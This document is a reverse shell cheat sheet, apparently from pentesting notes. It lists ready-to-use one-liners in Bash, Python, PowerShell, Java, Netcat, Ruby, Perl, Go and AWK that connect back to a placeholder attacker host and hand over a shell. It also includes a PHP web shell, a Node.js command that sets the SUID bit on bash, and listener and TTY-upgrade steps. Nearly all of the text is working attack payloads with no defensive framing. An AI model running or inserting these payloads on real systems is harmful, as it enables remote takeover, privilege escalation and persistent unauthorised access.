Reverse Shells

Stable TTY Shell

nc -lvnp
python -c 'import pty;pty.spawn("/bin/bash")'
^Z
stty raw -echo
fg
echo $TERM && tput lines && tput cols
export TERM=xterm-256color
stty rows <num> columns <cols>

rlwrap nc -lvnp 1234

Bash

Bash TCP

bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

exec 5<>/dev/tcp/LHOST/LPORT && while read line 0<&5; do $line 2>&5 >&5; done

0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196

Bash UDP

nc -u -lvnp 1234

sh -i >& /dev/udp/127.0.0.1/1234 0>&1

Python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",1234)); os.dup2( s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

PowerShell

echo -n "$client = New-Object System.Net.Sockets.TCPClient('LHOST',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"| iconv -t utf-16le | base64 -w 0
powershell -enc <payload>

PHP

<?php system($_GET['cmd']); ?>

Java

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor()

Node JS:

require('child_process').exec('bash -c "chmod u+s /bin/bash"')

Netcat

nc -e /bin/sh LHOST LPORT

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f

rm -f backpipe; mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc LHOST LPORT 1>/tmp/backpipe

Ruby

ruby -rsocket -e 'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST","LPORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows specific:

ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Perl

perl -e 'use Socket;$i="LHOST";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Windows specific:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","LHOST:LPORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

AWK

awk 'BEGIN {s = "/inet/tcp/0/LHOST/LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null